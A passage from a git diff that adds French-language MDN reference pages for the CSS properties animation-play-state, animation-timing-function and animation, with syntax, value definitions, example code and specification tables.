+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.animation-name")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Animations/Utiliser_les_animations_CSS">Manipuler les animations CSS</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/animation-play-state/index.html b/files/fr/web/css/animation-play-state/index.html
new file mode 100644
index 0000000000..0de85d6f86
--- /dev/null
+++ b/files/fr/web/css/animation-play-state/index.html
@@ -0,0 +1,133 @@
+---
+title: animation-play-state
+slug: Web/CSS/animation-play-state
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/animation-play-state
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>animation-play-state</code></strong> définit si une animation est en cours d'exécution ou si elle est en pause.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/animation-play-state.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Lorsqu'on reprend une animation en pause, celle-ci reprendra où elle avait été interrompue (elle ne recommencera pas depuis le début de la séquence).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* On a une seule animation */
+animation-play-state: running;
+animation-play-state: paused;
+
+/* On gère plusieurs animations */
+/* avec des valeurs respectives */
+animation-play-state: paused, running, running;
+
+/* Valeurs globales */
+animation-play-state: inherit;
+animation-play-state: initial;
+animation-play-state: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>running</code></dt>
+ <dd>L'animation est en cours.</dd>
+ <dt><code>paused</code></dt>
+ <dd>L'animation est en pause.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Lorsqu'on utilise plusieurs valeurs, séparées par des virgules, pour une propriété <code>animation-*</code>, elles seront respectivement affectées aux animations définies par {{cssxref("animation-name")}}. Pour plus d'informations, voir : <a href="/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS">paramétrer les valeurs des propriétés pour plusieurs animations</a>.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  animation-duration: 3s;
+  animation-name: glissement;
+  animation-iteration-count: infinite;
+}
+
+.arret {
+  animation-play-state: paused;
+}
+
+.encours {
+  animation-play-state: running;
+}
+
+@keyframes glissement {
+  from {
+    margin-left: 100%;
+    width: 200%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="arret"&gt;
+  La Chenille et Alice se considérèrent un instant en silence.
+  Enfin la Chenille sortit le houka de sa bouche, et lui adressa
+  la parole d’une voix endormie et traînante.
+&lt;/p&gt;
+
+&lt;p class="encours"&gt;
+  Alice, un peu irritée du parler bref de la Chenille, se redressa
+  de toute sa hauteur.
+&lt;/p&gt; </pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-play-state', 'animation-play-state')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.animation-play-state")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Animations/Utiliser_les_animations_CSS">Manipuler les animations CSS</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/animation-timing-function/index.html b/files/fr/web/css/animation-timing-function/index.html
new file mode 100644
index 0000000000..28b84d89a9
--- /dev/null
+++ b/files/fr/web/css/animation-timing-function/index.html
@@ -0,0 +1,272 @@
+---
+title: animation-timing-function
+slug: Web/CSS/animation-timing-function
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/animation-timing-function
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>animation-timing-function</strong></code> définit la façon dont une animation CSS doit se dérouler au fur et à mesure de chaque cycle. Cette propriété prendra comme valeurs une ou plusieurs fonctions {{cssxref("&lt;timing-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/animation-timing-function.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Généralement, on pourra utiliser la propriété raccourcie {{cssxref("animation")}} pour définir l'ensemble des propriétés liées à une animation.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+animation-timing-function: ease;
+animation-timing-function: ease-in;
+animation-timing-function: ease-out;
+animation-timing-function: ease-in-out;
+animation-timing-function: linear;
+animation-timing-function: step-start;
+animation-timing-function: step-end;
+
+/* Valeurs fonctionnelles */
+animation-timing-function: cubic-bezier(0.1, 0.7, 1.0, 0.1);
+animation-timing-function: steps(4, end);
+
+/* Valeurs avec une fonction en escalier */
+animation-timing-function: steps(4, jump-start);
+animation-timing-function: steps(10, jump-end);
+animation-timing-function: steps(20, jump-none);
+animation-timing-function: steps(5, jump-both);
+animation-timing-function: steps(6, start);
+animation-timing-function: steps(8, end);
+
+/* Définition de temporisations pour plusieurs animations */
+animation-timing-function: ease, step-start, cubic-bezier(0.1, 0.7, 1.0, 0.1);
+
+/* Valeurs globales */
+animation-timing-function: inherit;
+animation-timing-function: initial;
+animation-timing-function: unset;
+</pre>
+
+<p>Pour les animations cadencées (<em>keyframed</em>), la fonction s'applique entre chaque étape (ou <em><a href="/fr/docs/Web/CSS/@keyframes">keyframes</a></em>) plutôt que sur l'animation dans son ensemble. Autrement dit, la fonction de <em>timing</em> est appliquée au début et à la fin de l'étape de l'animation.</p>
+
+<p>Une fonction de progression pour une animation qui est définie pour une étape sera appliquée à cette étape en particulier. Si aucune fonction n'est définie pour l'étape, ce sera la fonction de progression de toute l'animation qui sera utilisée.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;timing-function&gt;</code></dt>
+ <dd>Chaque valeur {{cssxref("&lt;timing-function&gt;")}} représente une fonction temporelle à rattacher à une animation définie grâce à {{cssxref("animation-name")}}.
+ <p>Les valeurs avec des mots-clés (<code>ease</code>, <code>linear</code>, <code>ease-in-out</code>, etc.) correspondent à une courbe de Bézier cubique fixe avec quatre valeurs prédéfinies; La fonction <code>cubic-bezier()</code> permet de paramétrer une courbe spécifique. Les fonctions en escalier permettent de diviser l'animation en intervalles de même durée.</p>
+
+ <dl>
+  <dt><code>ease</code></dt>
+  <dd>Correspond à <code>cubic-bezier(0.25, 0.1, 0.25, 1.0)</code> : c'est la valeur par défaut, la vitesse de l'animation augmente au milieu de celle-ci puis ralentit à la fin.</dd>
+  <dt><code>linear</code></dt>
+  <dd>Correspond à <code>cubic-bezier(0.0, 0.0, 1.0, 1.0)</code> : l'animation s'effectue à vitesse constante.</dd>
+  <dt><code>ease-in</code></dt>
+  <dd>Correspond à <code>cubic-bezier(0.42, 0, 1.0, 1.0)</code> : l'animation commence doucement puis la vitesse augmente jusqu'à ce qu'elle soit terminée.</dd>
+  <dt><code>ease-out</code></dt>
+  <dd>Correspond à <code>cubic-bezier(0, 0, 0.58, 1.0)</code> : l'animation commence rapidement puis ralentit jusqu'à la fin.</dd>
+  <dt><code>ease-in-out</code></dt>
+  <dd>Correspond à <code>cubic-bezier(0.42, 0, 0.58, 1.0)</code> : l'animation commence lentement, accèlere puis ralentit à nouveau avant la fin.</dd>
+  <dt><code>cubic-bezier(p1, p2, p3, p4)</code></dt>
+  <dd>Une courbe de Bézier paramétrable à l'aide de quatre coefficient compris entre 0 et 1.</dd>
+  <dt><code>steps( n, &lt;jumpterm&gt;)</code></dt>
+  <dd>L'animation s'effectue selon <em>n</em> étapes de durées égales. Ainsi, si n vaut 5, l'animation se composera de cinq paliers. Selon la valeur du paramètre <em>jumpterm</em>, ces paliers se trouveront entre 0%, 20%, 40%, 60% et 80%, ou entre 20%, 40%, 60%, 80% et 100%, or ou inclueront également 0% et 100% (soit 0%, 25%, 50%, 75% et 100%) :
+  <dl>
+   <dt><code>jump-start</code></dt>
+   <dd>La fonction est continue à gauche et le premier saut se produit au début de l'animation.</dd>
+   <dt><code>jump-end</code></dt>
+   <dd>La fonction est continue à droite et le dernier saut se produit à la fin de l'animation.</dd>
+   <dt><code>jump-none</code></dt>
+   <dd>Il n'y a aucune rupture au début ou à la fin. Il y a un palier constant après 0% et un palier constant avant 100% (chacun durant 1/n).</dd>
+   <dt><code>jump-both</code></dt>
+   <dd>Une pause est présente aux niveaux 0% et 100%, ce qui ajoute un niveau pendant l'animation.</dd>
+   <dt><code>start</code></dt>
+   <dd>Identique à <code>jump-start.</code></dd>
+   <dt><code>end</code></dt>
+   <dd>Identique à <code>jump-end.</code></dd>
+  </dl>
+  </dd>
+  <dt><code>step-start</code></dt>
+  <dd>Synonyme de <code>steps(1, jump-start)</code></dd>
+  <dt><code>step-end</code></dt>
+  <dd>Synonyme de <code>steps(1, jump-end)</code></dd>
+ </dl>
+ </dd>
+</dl>
+
+<div class="note">
+<p><strong>Note </strong>: Lorsqu'on définit plusieurs valeurs, séparées par des virgules, sur une propriété <code>animation-*</code>, elles seront affectées selon leur ordre aux différentes animations listées par  {{cssxref("animation-name")}}. Si le nombre de valeurs n'est pas le même que le nombre d'animation, voir <a href="/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS#Utiliser_plusieurs_valeurs_pour_différentes_animations">Paramétrer plusieurs valeurs de propriétés pour les animations</a>.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div>
+<h3 id="Courbes_de_Bézier_cubiques">Courbes de Bézier cubiques</h3>
+
+<div class="hidden">
+<pre class="brush:html">&lt;div class="parent"&gt;
+  &lt;div class="ease"&gt;ease&lt;/div&gt;
+  &lt;div class="easein"&gt;ease-in&lt;/div&gt;
+  &lt;div class="easeout"&gt;ease-out&lt;/div&gt;
+  &lt;div class="easeinout"&gt;ease-in-out&lt;/div&gt;
+  &lt;div class="linear"&gt;linear&lt;/div&gt;
+  &lt;div class="cb"&gt;cubic-bezier(0.2,-2,0.8,2)&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush:css;">.parent &gt; div[class] {
+    animation-name: changeme;
+    animation-duration: 10s;
+    animation-iteration-count: infinite;
+    margin-bottom: 4px;
+}
+@keyframes changeme {
+   0% {
+      min-width: 12em;
+      width: 12em;
+      background-color: black;
+      border: 1px solid red;
+      color: white;
+   }
+   100% {
+      width: 90vw;
+      min-width: 24em;
+      background-color: magenta;
+      color: yellow;
+      border: 1px solid orange;
+   }
+}
+</pre>
+</div>
+
+<pre class="brush: css">.ease {
+   animation-timing-function: ease;
+}
+.easein {
+   animation-timing-function: ease-in;
+}
+.easeout {
+   animation-timing-function: ease-out;
+}
+.easeinout {
+   animation-timing-function: ease-in-out;
+}
+.linear {
+   animation-timing-function: linear;
+}
+.cb {
+   animation-timing-function: cubic-bezier(0.2,-2,0.8,2);
+}</pre>
+
+<div>{{EmbedLiveSample("Courbes_de_Bézier_cubiques")}}</div>
+</div>
+
+<div>
+<h3 id="Fonctions_en_escalier">Fonctions en escalier</h3>
+
+<div class="hidden">
+<pre class="brush:html">&lt;div class="parent"&gt;
+  &lt;div class="jump-start"&gt;jump-start&lt;/div&gt;
+  &lt;div class="jump-end"&gt;jump-end&lt;/div&gt;
+  &lt;div class="jump-both"&gt;jump-both&lt;/div&gt;
+  &lt;div class="jump-none"&gt;jump-none&lt;/div&gt;
+  &lt;div class="start"&gt;start&lt;/div&gt;
+  &lt;div class="end"&gt;end&lt;/div&gt;
+  &lt;div class="step-start"&gt;step-start&lt;/div&gt;
+  &lt;div class="step-end"&gt;step-end&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush:css;">.parent &gt; div[class] {
+    animation-name: changeme;
+    animation-duration: 10s;
+    animation-iteration-count: infinite;
+    margin-bottom: 4px;
+}
+@keyframes changeme {
+   0% {
+      min-width: 12em;
+      width: 12em;
+      background-color: black;
+      border: 1px solid red;
+      color: white;
+   }
+   100% {
+      width: 90vw;
+      min-width: 24em;
+      background-color: magenta;
+      color: yellow;
+      border: 1px solid orange;
+   }
+}
+</pre>
+</div>
+
+<pre class="brush: css">.jump-start {
+   animation-timing-function: steps(5, jump-start);
+}
+.jump-end {
+   animation-timing-function: steps(5, jump-end);
+}
+.jump-none {
+   animation-timing-function: steps(5, jump-none);
+}
+.jump-both {
+   animation-timing-function: steps(5, jump-both);
+}
+.start {
+   animation-timing-function: steps(5, start);
+}
+.end {
+   animation-timing-function: steps(5, end);
+}
+.step-start {
+   animation-timing-function: step-start;
+}
+.step-end {
+   animation-timing-function: step-end;
+}</pre>
+
+<div>{{EmbedLiveSample("Fonctions_en_escalier")}}</div>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-timing-function', 'animation-timing-function')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Définition initiale..</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.animation-timing-function")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS" title="CSS developer guide about CSS animations">Utiliser les animations CSS</a></li>
+ <li>{{cssxref('timing-function')}}</li>
+ <li>L'API JavaScript {{domxref("AnimationEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/animation/index.html b/files/fr/web/css/animation/index.html
new file mode 100644
index 0000000000..e92552e690
--- /dev/null
+++ b/files/fr/web/css/animation/index.html
@@ -0,0 +1,367 @@
+---
+title: animation
+slug: Web/CSS/animation
+tags:
+  - Animations
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/animation
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>animation</code></strong> est <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">une propriété raccourcie</a> qui permet de d'appliquer une animation entre des styles.</p>
+
+<p>C'est une propriété qui synthétise les propriétés suivantes :</p>
+
+<ul>
+ <li>{{cssxref("animation-name")}},</li>
+ <li>{{cssxref("animation-duration")}},</li>
+ <li>{{cssxref("animation-timing-function")}},</li>
+ <li>{{cssxref("animation-delay")}},</li>
+ <li>{{cssxref("animation-iteration-count")}},</li>
+ <li>{{cssxref("animation-direction")}},</li>
+ <li>{{cssxref("animation-fill-mode")}},</li>
+ <li>{{cssxref("animation-play-state")}}.</li>
+</ul>
+
+<div>{{EmbedInteractiveExample("pages/css/animation.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<pre class="brush:css no-line-numbers">/* @keyframes duration | timing-function | delay |
+   iteration-count | direction | fill-mode | play-state | name */
+  animation: 3s ease-in 1s 2 reverse both paused slidein;
+
+/* @keyframes duration | timing-function | delay | name */
+  animation: 3s linear 1s slidein;
+
+/* @keyframes duration | name */
+  animation: 3s slidein;
+</pre>
+
+<div class="hidden" id="animation">
+<pre class="brush: html">&lt;div class="grid"&gt;
+  &lt;div class="col"&gt;
+    &lt;div class="note"&gt;
+      Avec l'animation suivante :
+      &lt;pre&gt;@keyframes slidein {
+  from { transform: scaleX(0); }
+  to   { transform: scaleX(1); }
+}&lt;/pre&gt;
+    &lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt;
+        &lt;button class="play" title="LECTURE"&gt;&lt;/button&gt;
+      &lt;/div&gt;
+      &lt;div class="cell flx"&gt;
+        &lt;div class="overlay"&gt;animation: 3s ease-in 1s 2 reverse both paused slidein;&lt;/div&gt;
+        &lt;div class="animation a1"&gt;&lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt;
+        &lt;button class="pause" title="PAUSE"&gt;&lt;/button&gt;
+      &lt;/div&gt;
+      &lt;div class="cell flx"&gt;
+        &lt;div class="overlay"&gt;animation: 3s linear 1s slidein;&lt;/div&gt;
+        &lt;div class="animation a2"&gt;&lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt;
+        &lt;button class="pause" title="PAUSE"&gt;&lt;/button&gt;
+      &lt;/div&gt;
+      &lt;div class="cell flx"&gt;
+        &lt;div class="overlay"&gt;animation: 3s slidein;&lt;/div&gt;
+        &lt;div class="animation a3"&gt;&lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+  height: 100%;
+  box-sizing: border-box;
+}
+
+pre { margin-bottom: 0; }
+svg { width: 1.5em; height: 1.5em; }
+
+button {
+  width: 27px;
+  height: 27px;
+  background-size: 16px;
+  background-position: center;
+  background-repeat: no-repeat;
+  border-radius: 3px;
+  cursor: pointer;
+}
+
+button.play {
+  background-image: url('data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cstyle%3Epath%20%7Bdisplay%3Anone%7D%20path%3Atarget%7Bdisplay%3Ablock%7D%3C%2Fstyle%3E%3Cpath%20id%3D%22play%22%20d%3D%22M3%2C3%20L3%2C13%20L13%2C8%20Z%22%20%2F%3E%3Cpath%20id%3D%22pause%22%20d%3D%22M5%2C4%20L7%2C4%20L7%2C13%20L5%2C13%20Z%20M9%2C4%20L11%2C4%20L11%2C13%20L9%2C13%20Z%22%20%2F%3E%3Cpath%20id%3D%22restart%22%20d%3D%22M13%2C9%20A5%2C5%2C1%2C1%2C1%2C8%2C4%20L8%2C2%20L12%2C5%20L8%2C8%20L8%2C6%20A3%2C3%2C1%2C1%2C0%2C11%2C9%20A1%2C1%2C1%2C1%2C1%2C13%2C9%20z%22%20%2F%3E%3C%2Fsvg%3E#play');
+}
+
+button.pause {
+  background-image: url('data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cstyle%3Epath%20%7Bdisplay%3Anone%7D%20path%3Atarget%7Bdisplay%3Ablock%7D%3C%2Fstyle%3E%3Cpath%20id%3D%22play%22%20d%3D%22M3%2C3%20L3%2C13%20L13%2C8%20Z%22%20%2F%3E%3Cpath%20id%3D%22pause%22%20d%3D%22M5%2C4%20L7%2C4%20L7%2C13%20L5%2C13%20Z%20M9%2C4%20L11%2C4%20L11%2C13%20L9%2C13%20Z%22%20%2F%3E%3Cpath%20id%3D%22restart%22%20d%3D%22M13%2C9%20A5%2C5%2C1%2C1%2C1%2C8%2C4%20L8%2C2%20L12%2C5%20L8%2C8%20L8%2C6%20A3%2C3%2C1%2C1%2C0%2C11%2C9%20A1%2C1%2C1%2C1%2C1%2C13%2C9%20z%22%20%2F%3E%3C%2Fsvg%3E#pause');
+}
+
+button.restart {
+  background-image: url('data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cstyle%3Epath%20%7Bdisplay%3Anone%7D%20path%3Atarget%7Bdisplay%3Ablock%7D%3C%2Fstyle%3E%3Cpath%20id%3D%22play%22%20d%3D%22M3%2C3%20L3%2C13%20L13%2C8%20Z%22%20%2F%3E%3Cpath%20id%3D%22pause%22%20d%3D%22M5%2C4%20L7%2C4%20L7%2C13%20L5%2C13%20Z%20M9%2C4%20L11%2C4%20L11%2C13%20L9%2C13%20Z%22%20%2F%3E%3Cpath%20id%3D%22restart%22%20d%3D%22M13%2C9%20A5%2C5%2C1%2C1%2C1%2C8%2C4%20L8%2C2%20L12%2C5%20L8%2C8%20L8%2C6%20A3%2C3%2C1%2C1%2C0%2C11%2C9%20A1%2C1%2C1%2C1%2C1%2C13%2C9%20z%22%20%2F%3E%3C%2Fsvg%3E#restart');
+}
+
+.grid {
+  width: 100%;
+  height: 100%;
+  display: flex;
+  background: #EEE;
+  font: 1em monospace;
+}
+
+.row {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: row;
+  flex-wrap: wrap;
+  justify-content: space-between;
+}
+
+.col {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: column;
+}
+
+.cell {
+  box-sizing: border-box;
+  margin: .5em;
+  padding: 0;
+  background-color: #FFF;
+  overflow: hidden;
+  text-align: left;
+}
+
+.flx {
+  flex: 1 0;
+}
+
+.note {
+  background: #fff3d4;
+  padding: 1em;
+  margin: .5em;
+  font: .8em sans-serif;
+  text-align: left;
+  flex: none;
+}
+
+.overlay { padding: .5em; }
+
+@keyframes slidein {
+  from { transform: scaleX(0); }
+  to { transform: scaleX(1); }
+}
+
+.a1 { animation: 3s ease-in 1s 2 reverse both paused slidein; }
+.a2 { animation: 3s linear 1s slidein; }
+.a3 { animation: 3s slidein; }
+
+.animation {
+  background: #3F87A6;
+  width: 100%;
+  height: calc(100% - 1.5em);
+  transform-origin: left center;
+}</pre>
+
+<pre class="brush: js">window.addEventListener('load', function () {
+  var ANIMATION = Array.from(document.querySelectorAll('.animation'));
+  var BUTTON    = Array.from(document.querySelectorAll('button'));
+
+  function toggleButton (btn, type) {
+    btn.classList.remove('play', 'pause', 'restart');
+    btn.classList.add(type);
+    btn.title = type.toUpperCase(type);
+  }
+
+  function playPause (i) {
+    var btn  = BUTTON[i];
+    var anim = ANIMATION[i];
+
+    if (btn.classList.contains('play')) {
+      anim.style.animationPlayState = 'running';
+      toggleButton(btn, 'pause');
+    } else if (btn.classList.contains('pause')) {
+      anim.style.animationPlayState = 'paused';
+      toggleButton(btn, 'play');
+    } else {
+      anim.classList.remove('a' + (i + 1));
+      setTimeout(function () {
+        toggleButton(btn, i === 0 ? 'play' : 'pause');
+        anim.style.animationPlayState = '';
+        anim.classList.add('a' + (i + 1));
+      }, 100)
+    }
+  }
+
+  ANIMATION.forEach(function (node, index) {
+    node.addEventListener('animationstart', function () { toggleButton(BUTTON[index], 'pause');   });
+    node.addEventListener('animationend',   function () { toggleButton(BUTTON[index], 'restart'); });
+  });
+
+  BUTTON.forEach(function (btn, index) {
+    btn.addEventListener('click', function () { playPause(index); });
+  });
+})</pre>
+</div>
+
+<p>{{EmbedLiveSample("animation", "100%", 260, "", "", "example-outcome-frame")}}</p>
+
+<p><a href="/fr/docs/Web/CSS/Liste_propriétés_CSS_animées">Une liste des propriétés qui peuvent être animées</a> est disponible. On notera que cette liste est également valable pour <a href="/fr/docs/Web/CSS/CSS_Transitions/Utiliser_transitions_CSS">les transitions CSS</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>animation</code> se définit grâce à une ou plusieurs animations, séparées par des virgules.</p>
+
+<p>Chaque animation se définit comme :</p>
+
+<ul>
+ <li>zéro ou une valeur du type :
+  <ul>
+   <li>{{cssxref("&lt;single-transition-timing-function&gt;")}}</li>
+   <li>{{cssxref("animation", "&lt;single-animation-iteration-count&gt;", "#&lt;single-animation-iteration-count&gt;")}}</li>
+   <li>{{cssxref("animation", "&lt;single-animation-direction&gt;", "#&lt;single-animation-direction&gt;")}}</li>
+   <li>{{cssxref("animation", "&lt;single-animation-fill-mode&gt;", "#&lt;single-animation-fill-mode&gt;")}}</li>
+   <li>{{cssxref("animation", "&lt;single-animation-play-state&gt;", "#&lt;single-animation-play-state&gt;")}} </li>
+  </ul>
+ </li>
+ <li>un nom optionnel pour l'animation ; celui-ci peut être le mot-clé <code>none</code>, un identifiant ({{cssxref("&lt;custom-ident&gt;")}}) ou une chaîne de caractères ({{cssxref("&lt;string&gt;")}})</li>
+ <li>zéro, une ou deux valeurs de type {{cssxref("&lt;time&gt;")}}</li>
+</ul>
+
+<p>L'ordre des valeurs est important : la première valeur qui peut être analysée comme une valeur de type {{cssxref("&lt;time&gt;")}} sera affectée à {{cssxref("animation-duration")}} et la deuxième à {{cssxref("animation-delay")}}.</p>
+
+<p>L'ordre des valeurs est également important pour chaque définition d'animation afin d'identifier la valeur de {{cssxref("animation-name")}} parmi les autres mots-clés. Lors de l'analyse de la déclaration, les mots-clés valides pour d'autres propriétés que {{cssxref("animation-name")}} et dont les valeurs n'ont pas été trouvées avant doivent être affectés à ces différentes propriétés et non à {{cssxref("animation-name")}}. De plus, lors de la sérialisation, les valeurs par défaut doivent être expliciter autant que nécessaire pour distinguer une valeur pour {{cssxref("animation-name")}} qui pourrait être une valeur pour une autre propriété.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;single-animation-iteration-count&gt;</code></dt>
+ <dd>Le nombre de fois où l'animation est jouée, cf.  {{cssxref("animation-iteration-count")}}.</dd>
+ <dt><code>&lt;single-animation-direction&gt;</code></dt>
+ <dd>La direction dans laquelle s'effectue l'animation, cf. {{cssxref("animation-direction")}}.</dd>
+ <dt><code>&lt;single-animation-fill-mode&gt;</code></dt>
+ <dd>La façon dont les styles sont appliquées à la cible de l'animation, avant et après son exécution, cf. {{cssxref("animation-fill-mode")}}.</dd>
+ <dt><code>&lt;single-animation-play-state&gt;</code></dt>
+ <dd>Si l'animation est lancée ou non, cf. {{cssxref("animation-play-state")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div class="note">
+<p><strong>Note :</strong> D'autres exemples sont disponibles sur la page <a href="/fr/docs/Web/CSS/CSS_Animations/Using_CSS_animations">Manipuler les animations CSS</a>.</p>
+</div>
+
+<h3 id="Vue_laser">Vue laser</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="view_port"&gt;
+  &lt;div class="polling_message"&gt;
+    En attente
+  &lt;/div&gt;
+  &lt;div class="cylon_eye"&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.polling_message {
+  color: white;
+  float: left;
+  margin-right: 2%;
+}
+
+.view_port {
+  background-color: black;
+  height: 25px;
+  width: 100%;
+  overflow: hidden;
+}
+
+.cylon_eye {
+  background-color: red;
+  background-image:         linear-gradient(to right, rgba( 0,0,0,0.9 ) 25%, rgba( 0,0,0,0.1 ) 50%, rgba( 0,0,0,0.9 ) 75%);
+  color: white;
+  height: 100%;
+  width: 20%;
+
+  -webkit-animation: 4s linear 0s infinite alternate move_eye;
+          animation: 4s linear 0s infinite alternate move_eye;
+}
+
+@-webkit-keyframes move_eye { from { margin-left:-20%; } to { margin-left:100%; }  }
+        @keyframes move_eye { from { margin-left:-20%; } to { margin-left:100%; }  }
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Vue_laser')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
